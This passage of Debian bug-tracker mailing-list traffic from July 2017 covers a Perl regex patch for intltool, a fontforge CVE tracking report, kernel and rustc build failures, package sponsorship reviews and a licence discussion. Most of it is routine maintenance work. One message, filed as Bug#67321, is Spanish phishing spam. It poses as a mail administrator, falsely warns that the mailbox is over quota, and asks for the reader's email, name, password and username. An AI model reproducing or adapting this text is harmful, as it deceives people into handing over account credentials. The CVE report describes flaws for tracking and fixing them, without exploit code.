diff -Nru gdmap-0.8.1/debian/patches/series gdmap-0.8.1/debian/patches/series
--- gdmap-0.8.1/debian/patches/series	2013-06-22 17:45:03.0 +0200
+++ gdmap-0.8.1/debian/patches/series	2017-07-24 22:19:17.0 +0200
@@ -10,3 +10,4 @@
 math-underlink.patch
 format-strings.patch
 gtk-set-locale.patch
+unescaped-left-brace.patch
diff -Nru gdmap-0.8.1/debian/patches/unescaped-left-brace.patch gdmap-0.8.1/debian/patches/unescaped-left-brace.patch
--- gdmap-0.8.1/debian/patches/unescaped-left-brace.patch	1970-01-01 01:00:00.0 +0100
+++ gdmap-0.8.1/debian/patches/unescaped-left-brace.patch	2017-07-24 22:19:17.0 +0200
@@ -0,0 +1,55 @@
+Description: fix "Unescaped left brace in regex" errors with perl 5.26
+Origin: vendor
+Bug-Debian: https://bugs.debian.org/869578
+Forwarded: no
+Author: gregor herrmann 
+Last-Update: 2017-07-24
+
+--- a/intltool-update.in
 b/intltool-update.in
+@@ -947,13 +947,13 @@
+ 	}
+ }
+ 
+-if ($str =~ /^(.*)\${?([A-Z_]+)}?(.*)$/)
++if ($str =~ /^(.*)\$\{?([A-Z_]+)}?(.*)$/)
+ {
+ 	my $rest = $3;
+ 	my $untouched = $1;
+ 	my $sub = "";
+ # Ignore recursive definitions of variables
+-$sub = $varhash{$2} if defined $varhash{$2} and $varhash{$2} !~ /\${?$2}?/;
++$sub = $varhash{$2} if defined $varhash{$2} and $varhash{$2} !~ /\$\{?$2}?/;
+ 
+ 	return SubstituteVariable ("$untouched$sub$rest");
+ }
+@@ -1071,10 +1071,10 @@
+ 	($name, $version) = ($1, $2);
+ 	$name=~ s/[\[\]\s]//g;
+ 	$version =~ s/[\[\]\s]//g;
+-	$varhash{"PACKAGE_NAME"} = $name if (not $name =~ /\${?AC_PACKAGE_NAME}?/);
+-	$varhash{"PACKAGE"} = $name if (not $name =~ /\${?PACKAGE}?/);
+-	$varhash{"PACKAGE_VERSION"} = $version if (not $name =~ /\${?AC_PACKAGE_VERSION}?/);
+-	$varhash{"VERSION"} = $version if (not $name =~ /\${?VERSION}?/);
++	$varhash{"PACKAGE_NAME"} = $name if (not $name =~ /\$\{?AC_PACKAGE_NAME}?/);
++	$varhash{"PACKAGE"} = $name if (not $name =~ /\$\{?PACKAGE}?/);
++	$varhash{"PACKAGE_VERSION"} = $version if (not $name =~ /\$\{?AC_PACKAGE_VERSION}?/);
++	$varhash{"VERSION"} = $version if (not $name =~ /\$\{?VERSION}?/);
+ }
+ 
+ if ($conf_source =~ /^AC_INIT\(([^,\)]+),([^,\)]+)/m) 
+@@ -1082,10 +1082,10 @@
+ 	($name, $version) = ($1, $2);
+ 	$name=~ s/[\[\]\s]//g;
+ 	$version =~ s/[\[\]\s]//g;
+-	$varhash{"PACKAGE_NAME"} = $name if (not $name =~ /\${?AC_PACKAGE_NAME}?/);
+-	$varhash{"PACKAGE"} = $name if (not $name =~ /\${?PACKAGE}?/);
+-	$varhash{"PACKAGE_VERSION"} = $version if (not $name =~ /\${?AC_PACKAGE_VERSION}?/);
+-	$varhash{"VERSION"} = $version if (not $name =~ /\${?VERSION}?/);
++	$varhash{"PACKAGE_NAME"} = $name if (not $name =~ /\$\{?AC_PACKAGE_NAME}?/);
++	$varhash{"PACKAGE"} = $name if (not $name =~ /\$\{?PACKAGE}?/);
++	$varhash{"PACKAGE_VERSION"} = $version if (not $name =~ /\$\{?AC_PACKAGE_VERSION}?/);
++	$varhash{"VERSION"} = $version if (not $name =~ /\$\{?VERSION}?/);
+ }
+ 
+ # \s makes this not work, why?


signature.asc
Description: Digital Signature

Bug#864562: Info received (Bug#864562: No ethernet link on Olimex A20-Olinuxino Micro Rev. J, possibly PHY driver problem)

[Jean-Louis MOUNIER]

Hello,

I've just read Olimex Blog and found the following text about my board 
(which is a J Release).


   /We are selling for some time already //A20-OLinuXino-MICRO
   
//Rev.J
   where few things were improved:/

   //

1. /We changed the LAN PHY from Realtek to Microchip as latter
   is more reliable supplier for both commercial and industrial
   temperature components, we searched desperately Realtek PHY
   in industrial temperature grade but without success./
2. /We extended the input working voltage from 6-16VDC to 8-24VDC/
3. /We changed the NAND Flash to eMMC (but old NAND style flash
   is still possible to assembly)/

   //

   /The Ethernet PHY change requires new patches on the Uboot and
   Linux images which are already uploaded./

Obviously, the Debian Installer Kernel needs a patch to run on my (very) 
new board. I don't have a lot of time neither skill level to investigate 
the patch myself but I'm ready to run any test fron my board as you need...


Thank you in advance

Regards

Bug#869614: fontforge: CVE-2017-11568 CVE-2017-11569 CVE-2017-11570 CVE-2017-11571 CVE-2017-11572 CVE-2017-11573 CVE-2017-11574 CVE-2017-11575 CVE-2017-11576 CVE-2017-11577

[Salvatore Bonaccorso]

Source: fontforge
Version: 20120731.b-5
Severity: important
Tags: upstream security

Hi,

the following vulnerabilities were published for fontforge.

CVE-2017-11568[0]:
| FontForge 20161012 is vulnerable to a heap-based buffer over-read in
| PSCharStringToSplines (psread.c) resulting in DoS or code execution via
| a crafted otf file.

CVE-2017-11569[1]:
| FontForge 20161012 is vulnerable to a heap-based buffer over-read in
| readttfcopyrights (parsettf.c) resulting in DoS or code execution via a
| crafted otf file.

CVE-2017-11570[2]:
| FontForge 20161012 is vulnerable to a buffer over-read in umodenc
| (parsettf.c) resulting in DoS or code execution via a crafted otf file.

CVE-2017-11571[3]:
| FontForge 20161012 is vulnerable to a stack-based buffer overflow in
| addnibble (parsettf.c) resulting in DoS or code execution via a crafted
| otf file.

CVE-2017-11572[4]:
| FontForge 20161012 is vulnerable to a heap-based buffer over-read in
| readcfftopdicts (parsettf.c) resulting in DoS or code execution via a
| crafted otf file.

CVE-2017-11573[5]:
| FontForge 20161012 is vulnerable to a buffer over-read in
| ValidatePostScriptFontName (parsettf.c) resulting in DoS or code
| execution via a crafted otf file.

CVE-2017-11574[6]:
| FontForge 20161012 is vulnerable to a heap-based buffer overflow in
| readcffset (parsettf.c) resulting in DoS or code execution via a
| crafted otf file.

CVE-2017-11575[7]:
| FontForge 20161012 is vulnerable to a buffer over-read in strnmatch
| (char.c) resulting in DoS or code execution via a crafted otf file,
| related to a call from the readttfcopyrights function in parsettf.c.

CVE-2017-11576[8]:
| FontForge 20161012 does not ensure a positive size in a weight vector
| memcpy call in readcfftopdict (parsettf.c) resulting in DoS via a
| crafted otf file.

CVE-2017-11577[9]:
| FontForge 20161012 is vulnerable to a buffer over-read in getsid
| (parsettf.c) resulting in DoS or code execution via a crafted otf file.

Apart of CVE-2017-11570 and CVE-2017-11575 the issues seem easily
reproducible/shown as well back to 20120731.b-5. But I have not been
able to verify yet that the two mentioned CVE would not affect that
version. Thus I created a collecting bug for all those CVEs. If it
turns out that we need to split the bug a bit up, we can do.

If you fix the vulnerabilities please also make sure to include the
CVE (Common Vulnerabilities & Exposures) ids in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2017-11568
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11568
[1] https://security-tracker.debian.org/tracker/CVE-2017-11569
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11569
[2] https://security-tracker.debian.org/tracker/CVE-2017-11570
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11570
[3] https://security-tracker.debian.org/tracker/CVE-2017-11571
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11571
[4] https://security-tracker.debian.org/tracker/CVE-2017-11572
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11572
[5] https://security-tracker.debian.org/tracker/CVE-2017-11573
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11573
[6] https://security-tracker.debian.org/tracker/CVE-2017-11574
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11574
[7] https://security-tracker.debian.org/tracker/CVE-2017-11575
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11575
[8] https://security-tracker.debian.org/tracker/CVE-2017-11576
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11576
[9] https://security-tracker.debian.org/tracker/CVE-2017-11577
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11577

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

Bug#869606: [Pkg-fonts-devel] Bug#869606: fonts-liberation: all fonts resolve to mono

[Fabian Greffrath]

control: reassign -1 fontconfig

Hi there,

Am Montag, den 24.07.2017, 20:02 +0200 schrieb Denis Danilov:
> if the liberation fonts are the only ttf fonts intalled on a system,
> then
> "Liberation Mono" will match any font by default, e.g. in docker
> docker run -it debian:testing-slim /bin/bash
> # apt-get update
> # apt-get install --no-install-recommends fonts-liberation
> # apt-get install --no-install-recommends fontconfig
> # fc-match sans
> LiberationMono-Regular.ttf: "Liberation Mono" "Regular"
> # fc-match serif
> LiberationMono-Regular.ttf: "Liberation Mono" "Regular"

this is pretty sure a bug in fontconfig itself, then, since the fonts-
liberation package does not modify fontconfig's configuration in any
way.

BTW, what does "fc-match -a sans" print?

 - Fabian


signature.asc
Description: This is a digitally signed message part

Bug#869613: libreoffice write crashes (Debian 9)

[Aaron Valdes]

Package: libreoffice-gtk2
Version: 1:5.2.7-1

This is happening on my Dell Latitude D505.

When trying to launch libreoffice, the word processor does not open.  
libreoffice crashes

If I remove this package, the word processor opens.

aptitude remove libreoffice-gtk2

Bug#869612: perl: add Breaks on older versions of intltool

[Niko Tyni]

Package: perl
Version: 5.26.0-4
User: debian-p...@lists.debian.org
Usertags: perl-5.26-transition

As seen in #826471 the perl 5.26 transition broke
/usr/bin/intltool-update. This was fixed in intltool_0.51.0-4, so
perl-base should Break older versions to make sure partial upgrades
don't end up with the broken combination.
-- 
Niko Tyni   nt...@debian.org

Bug#826701: Same error with 5.0.6+dfsg1-1

[Anton Gladky]

Hi,

the upgrade 4.6.6-3 -> 5.0.6+dfsg1-1 is not supported. The only
supported upgrade between stable versions: 4.6.6-3 -> 5.0.5+dfsg1-6+deb9u1.

All other combination are not guaranteed.

Best regards

Anton


2017-07-24 21:09 GMT+02:00 Kingsley G. Morse Jr. :
> Hey guys,
>
> Thank you very much for maintaining gnuplot.
>
> I love how many options it has.
>
> I happened to notice this report's bug seems to
> also be in a newer version.
>
> It was originally reported against 5.0.3+dfsg3-1.
>
> I see it with 5.0.6+dfsg1-1.

Bug#853544: memcached: ftbfs with GCC-7

[Guillaume Delacour]

tags 853544 + pending
thanks

On Tue, 21 Mar 2017 21:37:27 +0100 Guillaume Delacour 
wrote:
> tags 853544 upstream fixed-upstream
> thanks
> 

> 
> All is now fine with release 1.4.36
> (https://github.com/memcached/memcached/commit/64bbbf4c7655a540247db4b608b00f809742f24b),
> will be released after the freeze in unstable.
> 

I've prepared version 1.5.0, which will be uploaded soon.

-- 
Guillaume Delacour



signature.asc
Description: OpenPGP digital signature

Bug#869309: [pkg-fgfs-crew] Bug#869309: Updating the fgo Uploaders list

[Tobias Frost]

Hallo Florent,

Am Samstag, den 22.07.2017, 20:45 +0200 schrieb Florent Rougon:
> Hello,
> 
> Tobias Frost  wrote:
> 
> > Florent Rougon  has retired, so can't work on
> > the fgo package anymore (at least with this address).
> > 
> > We are tracking their status in the MIA team and would like to ask
> > you
> > to remove them from the Uploaders list of the package so we can
> > close
> > that part of the file.
> 
> I don't mind being removed from the Uploaders list (FGo! being
> obsolete
> IMHO), but if you want to do useful QA work for the FlightGear
> ecosystem
> that will also benefit any package using libplibjs, I'd rather
> suggest
> to do a QA upload of plib as I suggested (with patch) at:

The database told me you've retired. If that is not the case or you've
resumed (e.g using your @free.frp email) please appologize and just
close the "Remove from uploaders" bugs. I absolutly do not want that
you're being removed from any package as long as you're active!

>   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=787464

package overhauled & uploaded, including your fix. Many thanks for it
(however I could not test your fix as lacking a joystick)

> That was more than two years ago---I agree it is not much if you
> consider the upstream bug's honorable age, namely 13 years.
> 
> Regards
> 

--
tobi

Bug#860808: ocfs2 blocks jbd2

[Russell Mosemann]

Package: src:linux
Version: 4.9.30-2~bpo8+1
Severity: important
 
Jul 24 11:14:11 vhost032 kernel: WARNING: CPU: 5 PID: 16652 at 
/build/linux-PrKZyy/linux-4.9.30/fs/jbd2/transaction.c:297 
start_this_handle+0x3fb/0x400 [jbd2]
Jul 24 11:14:11 vhost032 kernel: Modules linked in: vhost_net vhost macvtap 
macvlan tun ocfs2 quota_tree veth iptable_filter ip_tables x_tables nfsd 
auth_rpcgss oid_registry nfs_acl nfs lockd grace fscache sunrpc ocfs2_dlmfs 
ocfs2_stack_o2cb ocfs2_dlm ocfs2_nodemanager ocfs2_stackglue configfs bridge 
stp llc bonding ipmi_watchdog intel_rapl sb_edac edac_core x86_pkg_temp_thermal 
intel_powerclamp coretemp kvm_intel kvm irqbypass ast iTCO_wdt crct10dif_pclmul 
iTCO_vendor_support mxm_wmi e1000e evdev crc32_pclmul ttm ghash_clmulni_intel 
intel_cstate drm_kms_helper igb drm xhci_pci xhci_hcd ehci_pci dca ehci_hcd 
i2c_i801 i2c_algo_bit usbcore lpc_ich intel_uncore pcspkr mei_me usb_common ptp 
intel_rapl_perf sg mei pps_core shpchp mfd_core i2c_smbus wmi acpi_power_meter 
acpi_pad button ipmi_si ipmi_poweroff ipmi_devintf ipmi_msghandler
Jul 24 11:14:11 vhost032 kernel:  fuse drbd lru_cache libcrc32c crc32c_generic 
autofs4 ext4 crc16 jbd2 fscrypto mbcache dm_mod md_mod sd_mod crc32c_intel 
aesni_intel aes_x86_64 glue_helper lrw gf128mul ablk_helper cryptd ahci libahci 
libata scsi_mod
Jul 24 11:14:11 vhost032 kernel: CPU: 5 PID: 16652 Comm: qemu-system-x86 Not 
tainted 4.9.0-0.bpo.3-amd64 #1 Debian 4.9.30-2~bpo8+1
Jul 24 11:14:11 vhost032 kernel: Hardware name: To Be Filled By O.E.M. To Be 
Filled By O.E.M./EPC612D4I, BIOS P2.10 03/31/2016
Jul 24 11:14:11 vhost032 kernel:   aed29b75 
 
Jul 24 11:14:11 vhost032 kernel:  aea77944 951423269000 
951423269000 9513f99cc090
Jul 24 11:14:11 vhost032 kernel:   ffe4 
 c03157db
Jul 24 11:14:11 vhost032 kernel: Call Trace:
Jul 24 11:14:11 vhost032 kernel:  [] ? dump_stack+0x5c/0x77
Jul 24 11:14:11 vhost032 kernel:  [] ? __warn+0xc4/0xe0
Jul 24 11:14:11 vhost032 kernel:  [] ? 
start_this_handle+0x3fb/0x400 [jbd2]
Jul 24 11:14:11 vhost032 kernel:  [] ? 
ocfs2_xattr_tree_fill_max_leaf_clusters+0x40/0x40 [ocfs2]
Jul 24 11:14:11 vhost032 kernel:  [] ? 
ocfs2_inode_cache_io_unlock+0x10/0x10 [ocfs2]
Jul 24 11:14:11 vhost032 kernel:  [] ? 
jbd2__journal_start+0xe9/0x1f0 [jbd2]
Jul 24 11:14:11 vhost032 kernel:  [] ? 
ocfs2_start_trans+0xf8/0x1d0 [ocfs2]
Jul 24 11:14:11 vhost032 kernel:  [] ? 
ocfs2_dio_end_io_write+0x2fb/0x600 [ocfs2]
Jul 24 11:14:11 vhost032 kernel:  [] ? __schedule+0x245/0x6d0
Jul 24 11:14:11 vhost032 kernel:  [] ? 
ocfs2_allocate_extend_trans+0x180/0x180 [ocfs2]
Jul 24 11:14:11 vhost032 kernel:  [] ? 
ocfs2_dio_end_io+0x3b/0x60 [ocfs2]
Jul 24 11:14:11 vhost032 kernel:  [] ? dio_complete+0x7e/0x190
Jul 24 11:14:11 vhost032 kernel:  [] ? 
do_blockdev_direct_IO+0x2168/0x2860
Jul 24 11:14:11 vhost032 kernel:  [] ? 
ocfs2_write_end_nolock+0x550/0x550 [ocfs2]
Jul 24 11:14:11 vhost032 kernel:  [] ? 
ocfs2_direct_IO+0x83/0x90 [ocfs2]
Jul 24 11:14:11 vhost032 kernel:  [] ? 
generic_file_direct_write+0xb3/0x180
Jul 24 11:14:11 vhost032 kernel:  [] ? 
__generic_file_write_iter+0xb6/0x1e0
Jul 24 11:14:11 vhost032 kernel:  [] ? 
ocfs2_file_write_iter+0x44e/0xae0 [ocfs2]
Jul 24 11:14:11 vhost032 kernel:  [] ? wake_up_q+0x60/0x60
Jul 24 11:14:11 vhost032 kernel:  [] ? 
new_sync_write+0xde/0x130
Jul 24 11:14:11 vhost032 kernel:  [] ? vfs_write+0xb3/0x1a0
Jul 24 11:14:11 vhost032 kernel:  [] ? SyS_futex+0x83/0x180
Jul 24 11:14:11 vhost032 kernel:  [] ? SyS_pwrite64+0x86/0xb0
Jul 24 11:14:11 vhost032 kernel:  [] ? 
system_call_fast_compare_end+0xc/0x9b
Jul 24 11:14:11 vhost032 kernel: ---[ end trace b57e0f688203986c ]---

Bug#869479: memcached: New upstream version available

[Guillaume Delacour]

tags 869479 + pending
thanks

On Sun, Jul 23, 2017 at 05:14:52PM +0200, Salvatore Bonaccorso wrote:
> Source: memcached
> Severity: wishlist
> 
> Hi

Hi,

> 
> There is a new upsteam version available, v1.5.0. Could you please
> package the new version?

I've prepared it on mentors [0] and my current mentor will upload it soon 
surely at the end of this week.

[0]: 
https://mentors.debian.net/debian/pool/main/m/memcached/memcached_1.5.0-1.dsc

> 
> Regards,
> Salvatore
> 

-- 
Guillaume Delacour


signature.asc
Description: Digital signature

Bug#869611: gprbuild always recompiles Ada with gcc-7 and SOURCE_DATE_EPOCH

[Nicolas Boulenguez]

Source: gprbuild
Version: 2017-2
Severity: normal

Hello.
When SOURCE_DATE_EPOCH is defined in the environment,
and the date it contains is older than an Ada source,
gcc (>= 7.1.0-9) writes SOURCE_DATE_EPOCH in the .ali file
instead of the actual source file timestamp.
gprbuild then detects the mismatch and insists on recompiling again and again.

gpr/src/gpr-util.adb should probably be patched to handle
SOURCE_DATE_EPOCH too.

To reproduce:

cat > a.adb < p.gpr <

Bug#865331: ITA: golang-github-masterzen-winrm -- WinRM library for Golang

[Shengjing Zhu]

Hi Daniel,

This package is ready to upload. The new version is needed for building packer.
You can get it from 
https://anonscm.debian.org/cgit/pkg-go/packages/golang-github-masterzen-winrm.git/

If you have no time, I can file RFS to pkg-go team.

Regards,
Shengjing Zhu

Bug#862875: RFS: libzc/0.3.1-1 [ITP] -- fast zip cracking library

[Andrey Rahmatullin]

Control: tags -1 + moreinfo

Please either add check to B-D to enable tests or explicitly disable them
in debian/rules.
I don't think yazc should be in the libs section.
Explicit Depends: libzc3 in yazc is not needed.
Please switch to the debhelper compat level 10.
Please update Standards-Version to the current version.
lib/qsort.h is not described in debian/copyright as having a different
license.

-- 
WBR, wRAR


signature.asc
Description: PGP signature

Bug#826701: Same error with 5.0.6+dfsg1-1

[Kingsley G. Morse Jr.]

Hey guys,

Thank you very much for maintaining gnuplot.

I love how many options it has.

I happened to notice this report's bug seems to
also be in a newer version.

It was originally reported against 5.0.3+dfsg3-1.

I see it with 5.0.6+dfsg1-1.

Here's some output that aptitude sent to my console:

[...]
(Reading database ... 660620 files and directories currently installed.)
Preparing to unpack .../gnuplot-data_5.0.6+dfsg1-1_all.deb ...
Unpacking gnuplot-data (5.0.6+dfsg1-1) over (4.6.6-3) ...
dpkg: error processing archive 
/var/cache/apt/archives/gnuplot-data_5.0.6+dfsg1-1_all.deb (--unpack):
 trying to overwrite 
'/usr/share/texmf/tex/latex/gnuplot/gnuplot-lua-tikz-common.tex', which is also 
in package gnuplot-tex 4.6.6-3
Errors were encountered while processing:
 /var/cache/apt/archives/gnuplot-data_5.0.6+dfsg1-1_all.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)
[...]

So,
Kingsley


-- 
Time is the fire in which we all burn.

Bug#861617: RFS: ddcutil/0.8.0-6 [ITP] - control monitor settings

[Andrey Rahmatullin]

Control: tags -1 + moreinfo

Please remove all unneeded files from debian/.
Please remove commented out sample lines from debian/rules.
You shouldn't "Bump Debian release for debian-mentors". Please remove all
changelog entries (both old upstream ones and recent bumps) and add oe
correct entry.
Please switch to the debhelper compat level 10.
B-D: libglib2.0-0 looks wrong.
Please update to the current Standards-Version version.
Please fix and uncomment Vcs-Browser.
Adding explicit Depends: on library packages is usually wrong.
Please remove unneeded comments from debian/control.
Please drop debian/menu.
Consider adding the symbols file.
Please don't ship .la.
I'd expect ddcutil to be linked against libddcutil0.


-- 
WBR, wRAR


signature.asc
Description: PGP signature

Bug#869610: rustc FTBFS: error: unknown type name 'size_t'

[Helmut Grohne]

Source: rustc
Version: 1.18.0+dfsg1-3
Severity: serious
User: helm...@debian.org
Usertags: rebootstrap

rustc fails to build from source in unstable amd64 (presumably due to
the gperf 3.1 upload):

| CFLAGS_x86_64-unknown-linux-gnu = Some("-ffunction-sections -fdata-sections 
-fPIC -g -fdebug-prefix-map=/<>/rustc-1.18.0+dfsg1=. 
-fstack-protector-strong -Wformat -Werror=format-security 
-Wno-misleading-indentation -m64")
| PROFILE = Some("release")
| running: "cc" "-O2" "-ffunction-sections" "-fdata-sections" "-fPIC" 
"-ffunction-sections" "-fdata-sections" "-fPIC" "-g" 
"-fdebug-prefix-map=/<>/rustc-1.18.0+dfsg1=." 
"-fstack-protector-strong" "-Wformat" "-Werror=format-security" 
"-Wno-misleading-indentation" "-m64" "-m64" "-I" "../rt/hoedown/src" "-o" 
"/<>/rustc-1.18.0+dfsg1/build/x86_64-unknown-linux-gnu/stage0-rustc/x86_64-unknown-linux-gnu/release/build/rustdoc-39b44c74f2903706/out/../rt/hoedown/src/html.o"
 "-c" "../rt/hoedown/src/html.c"
| ExitStatus(ExitStatus(0))
| TARGET = Some("x86_64-unknown-linux-gnu")
| OPT_LEVEL = Some("2")
| TARGET = Some("x86_64-unknown-linux-gnu")
| HOST = Some("x86_64-unknown-linux-gnu")
| TARGET = Some("x86_64-unknown-linux-gnu")
| TARGET = Some("x86_64-unknown-linux-gnu")
| HOST = Some("x86_64-unknown-linux-gnu")
| CC_x86_64-unknown-linux-gnu = Some("cc")
| TARGET = Some("x86_64-unknown-linux-gnu")
| HOST = Some("x86_64-unknown-linux-gnu")
| CFLAGS_x86_64-unknown-linux-gnu = Some("-ffunction-sections -fdata-sections 
-fPIC -g -fdebug-prefix-map=/<>/rustc-1.18.0+dfsg1=. 
-fstack-protector-strong -Wformat -Werror=format-security 
-Wno-misleading-indentation -m64")
| PROFILE = Some("release")
| running: "cc" "-O2" "-ffunction-sections" "-fdata-sections" "-fPIC" 
"-ffunction-sections" "-fdata-sections" "-fPIC" "-g" 
"-fdebug-prefix-map=/<>/rustc-1.18.0+dfsg1=." 
"-fstack-protector-strong" "-Wformat" "-Werror=format-security" 
"-Wno-misleading-indentation" "-m64" "-m64" "-I" "../rt/hoedown/src" "-o" 
"/<>/rustc-1.18.0+dfsg1/build/x86_64-unknown-linux-gnu/stage0-rustc/x86_64-unknown-linux-gnu/release/build/rustdoc-39b44c74f2903706/out/../rt/hoedown/src/html_blocks.o"
 "-c" "../rt/hoedown/src/html_blocks.c"
| cargo:warning=../rt/hoedown/src/html_blocks.c:62:80: error: unknown type name 
'size_t'
| cargo:warning= gperf_case_strncmp (register const char *s1, register const 
char *s2, register size_t n)
| cargo:warning=
^~
| cargo:warning=../rt/hoedown/src/html_blocks.c:87:42: error: unknown type name 
'size_t'
| cargo:warning= hash (register const char *str, register size_t len)
| cargo:warning=  ^~
| cargo:warning=../rt/hoedown/src/html_blocks.c:133:60: error: unknown type 
name 'size_t'
| cargo:warning= hoedown_find_block_tag (register const char *str, register 
size_t len)
| cargo:warning=
^~
| ExitStatus(ExitStatus(256))
| 
| 
| command did not execute successfully, got: exit code: 1
| 
| 
| 
| --- stderr
| thread 'main' panicked at 'explicit panic', src/vendor/gcc/src/lib.rs:1152
| note: Run with `RUST_BACKTRACE=1` for a backtrace.
| 
| Build failed, waiting for other jobs to finish...
| error: build failed
| 
| 
| command did not execute successfully: "/usr/bin/cargo" "build" "-j" "8" 
"--target" "x86_64-unknown-linux-gnu" "-v" "--release" "--frozen" "--features" 
" jemalloc" "--manifest-path" 
"/<>/rustc-1.18.0+dfsg1/src/rustc/Cargo.toml"
| expected success, got: exit code: 101
| 
| 
| Traceback (most recent call last):
|   File "/<>/rustc-1.18.0+dfsg1/src/bootstrap/bootstrap.py", line 
595, in main
| bootstrap()
|   File "/<>/rustc-1.18.0+dfsg1/src/bootstrap/bootstrap.py", line 
589, in bootstrap
| rb.run(args, env)
|   File "/<>/rustc-1.18.0+dfsg1/src/bootstrap/bootstrap.py", line 
384, in run
| sys.exit(ret)
| SystemExit: 1
| Build completed unsuccessfully in 0:04:26
| debian/rules:155: recipe for target 'override_dh_auto_build-arch' failed
| make[1]: *** [override_dh_auto_build-arch] Error 1
| make[1]: Leaving directory '/<>/rustc-1.18.0+dfsg1'
| debian/rules:122: recipe for target 'build-arch' failed
| make: *** [build-arch] Error 2
| dpkg-buildpackage: error: debian/rules build-arch gave error exit status 2

Helmut

Bug#866070: higan FTCBFS: uses the build architecture compiler and pkg-config

[Tobias Hansen]

Hi,

thanks for the patch! If you update it for higan 103 I will apply it.

Best,
Tobias

On Tue, 27 Jun 2017 06:56:30 +0200 Helmut Grohne  wrote:
> Source: higan
> Version: 098-2
> Tags: patch
> User: helm...@debian.org
> Usertags: rebootstrap
> 
> higan fails to cross build from source, because it uses the build
> architecture compiler. By consistently using dh_auto_build, we can defer
> the passing of cross compilers, but the upstream build system calls them
> "compiler" rather than the standard "CXX", so we need to rename them.
> Furthermore, it uses the build architecture pkg-config. dh_auto_build
> also passes a suitable pkg-config via PKG_CONFIG. So after fixing all of
> this higan cross builds successfully. Please consider applying the
> attached patch.
> 
> Helmut

Bug#861394: RFS: wcc/20170424-1 [ITP] -- a collection of compilation tools to perform binary black magic on the GNU/Linux and other

[Andrey Rahmatullin]

Control: tags -1 + moreinfo

Please don't put additional changes in the initial changelog entry.
Contents of README.Debian looks like a package description and should be
moved there.
You shouldn't override source-is-missing for files in the orig tarball.
Remove them from there if they are not used.
Please switch to the debhelper compat level 10.
Please bump Standards-Version to the current version.
Your debian/copyright suggests all of the source is licensed under all
four licenses as options. This is not true.
Both the source and the binary pakages ship precompiled PDFs. This is not
allowed in main.
The package bundles several libs, this is wrong, packaged versions should
be used instead.
Putting library packages into Depends explicitly is usually wrong.

-- 
WBR, wRAR


signature.asc
Description: PGP signature

Bug#866120: diffoscope: please add an xml comparator

[Juliana Rodrigues]

Hi Mattia,

Actually I havent. Looks like minidom is vulnerable to both
[billion laughs] and [quadratic blowup].

Should we migrate to defusexml? What you think? (:



2017-07-21 14:22 GMT-03:00 Mattia Rizzolo :

> On Fri, Jul 21, 2017 at 10:48:07AM +0100, Chris Lamb wrote:
> > … And I've now also merged the code into our Git repo. Thanks!
>
> Did you both go through
> https://docs.python.org/3/library/xml.html#xml-vulnerabilities and
> decided that the standard minidom was safe for our usages?
>
> --
> regards,
> Mattia Rizzolo
>
> GPG Key: 66AE 2B4A FCCF 3F52 DA18  4D18 4B04 3FCD B944 4540  .''`.
> more about me:  https://mapreri.org : :'  :
> Launchpad user: https://launchpad.net/~mapreri  `. `'`
> Debian QA page: https://qa.debian.org/developer.php?login=mattia  `-
>

Bug#845339: blhc: checks for PIE can be incompatible with recent dpkg versions

[Eriberto]

Hi!

2017-07-23 16:18 GMT-03:00 Simon Ruderich :
> On Tue, Nov 22, 2016 at 02:13:01PM -0200, Joao Eriberto Mota Filho wrote:
>> Hi,
>>
>> The blhc --all is saying about PIE absence in some packages. However, the
>> current dpkg version changed the usage policy for PIE.
>
> Hello,
>
> Sorry for the (really) late reply.


Thanks a lot for your reply.


> This should be partially fixed in 290a8e [1] but only for
> --buildd mode. This also fixes a separate bug where missing PIE
> flags are reported if any compiler command uses PIE even though
> GCC would still use PIE.
>
> However I'm not sure how --all for a "normal" log should behave.
> The requested flags are clearly not present and blhc can't really
> know that they are applied by the GCC in the background (on the
> buildd's that true, but maybe not in other situations). What do
> you think?


I think that you can create a new option '--debian' to ignore PIE.
What you think about this?

Regards,

Eriberto

Bug#860905: RFS: libdsk/1.5.4+dfsg-1 [ITP]

[Andrey Rahmatullin]

Control: owner -1 !

I think docs should be in -dev, especially as they are about 600 KB whils
the .so is 260 Kb.
Otherwise the package looks good.


-- 
WBR, wRAR


signature.asc
Description: PGP signature

Bug#67321: Estimado usuario

[Web-Mail]

querido usuario

Su buzón de correo ha excedido el límite de almacenamiento de 20 GB
establecido por el administrador, actualmente se está ejecutando a 20,9
GB, no puede enviar o recibir nuevos mensajes hasta que varify su buzón.
Vuelva a validar su cuenta por correo, rellene y envíe los datos
siguientes para verificar y actualizar su cuenta:

(1) correo electrónico:
(2) Nombre:
(3) contraseña:
(4) Nombre de usuario:

gracias
administrador de sistema

Bug#839941: whishlist ffmpeg

[Steinar H. Gunderson]

On Tue, Oct 18, 2016 at 03:27:02PM +0200, Jonas Smedegaard wrote:
> Copyright laws in most jurisdictions obey the Berne convention, which 
> requires freedoms to be explicitly stated (and that the classic phrase 
> "all rights reserved" is obsolete).  Stating that it is provided "as is" 
> does not rxpand to the range of freedoms defined as the Debian Free 
> Software Guidelines (later adopted as the definition for the Open Source 
> movement).

The DeckLink SDK header files are really DFSG-free; they are under a
BSD-style license with explicit grants of the required freedoms. (ftpmasters
have also accepted the license as free, as they are embedded in Nageru, which
is shipped in Debian.) The full license text reads:

/* -LICENSE-START-
** Copyright (c) 2009 Blackmagic Design
**
** Permission is hereby granted, free of charge, to any person or organization
** obtaining a copy of the software and accompanying documentation covered by
** this license (the "Software") to use, reproduce, display, distribute,
** execute, and transmit the Software, and to prepare derivative works of the
** Software, and to permit third-parties to whom the Software is furnished to
** do so, all subject to the following:
** 
** The copyright notices in the Software and this entire statement, including
** the above license grant, this restriction and the following disclaimer,
** must be included in all copies of the Software, in whole or in part, and
